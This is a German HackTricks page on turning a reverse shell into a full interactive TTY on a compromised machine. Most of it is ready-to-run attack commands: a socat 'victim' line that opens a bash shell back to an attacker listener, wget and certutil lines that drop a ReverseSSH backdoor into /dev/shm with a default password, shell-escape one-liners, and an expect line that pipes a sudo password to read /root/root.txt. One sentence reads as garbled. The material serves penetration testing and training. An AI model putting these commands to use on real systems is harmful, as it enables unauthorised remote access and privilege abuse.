Full TTYs

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Vollständige TTY

Beachten Sie, dass die Shell, die Sie in der SHELL-Variable festlegen, muss in der Datei /etc/shells aufgeführt sein oder Der Wert für die SHELL-Variable wurde in der Datei /etc/shells nicht gefunden. Dieser Vorfall wurde gemeldet. Beachten Sie auch, dass die folgenden Code-Schnipsel nur in bash funktionieren. Wenn Sie sich in einer zsh befinden, wechseln Sie vor dem Abrufen der Shell mit bash zu einer bash.

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Sie können die Anzahl der Zeilen und Spalten mit dem Befehl stty -a abrufen.

Skript

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawnen von Shells

  • python -c 'import pty; pty.spawn("/bin/sh")'

  • echo os.system('/bin/bash')

  • /bin/sh -i

  • script -qc /bin/bash /dev/null

  • perl -e 'exec "/bin/sh";'

  • perl: exec "/bin/sh";

  • ruby: exec "/bin/sh"

  • lua: os.execute('/bin/sh')

  • IRB: exec "/bin/sh"

  • vi: :!bash

  • vi: :set shell=/bin/bash:shell

  • nmap: !sh

ReverseSSH

Eine praktische Möglichkeit für interaktiven Shell-Zugriff, sowie Dateiübertragungen und Port-Weiterleitungen, besteht darin, den statisch verlinkten SSH-Server ReverseSSH auf das Zielgerät zu übertragen.

Im Folgenden finden Sie ein Beispiel für x86 mit upx-komprimierten Binärdateien. Für andere Binärdateien überprüfen Sie die Releases-Seite.

  1. Bereiten Sie lokal vor, um die SSH-Port-Weiterleitungsanfrage zu empfangen:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
  • (2a) Linux Ziel:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
  • Wenn die ReverseSSH-Portweiterleitung erfolgreich war, sollten Sie sich jetzt mit dem Standardpasswort letmeinbrudipls im Kontext des Benutzers, der reverse-ssh(.exe) ausführt, anmelden können:

# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Kein TTY

Wenn aus irgendeinem Grund kein vollständiger TTY verfügbar ist, können Sie dennoch mit Programmen interagieren, die Benutzereingaben erwarten. Im folgenden Beispiel wird das Passwort an sudo übergeben, um eine Datei zu lesen:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated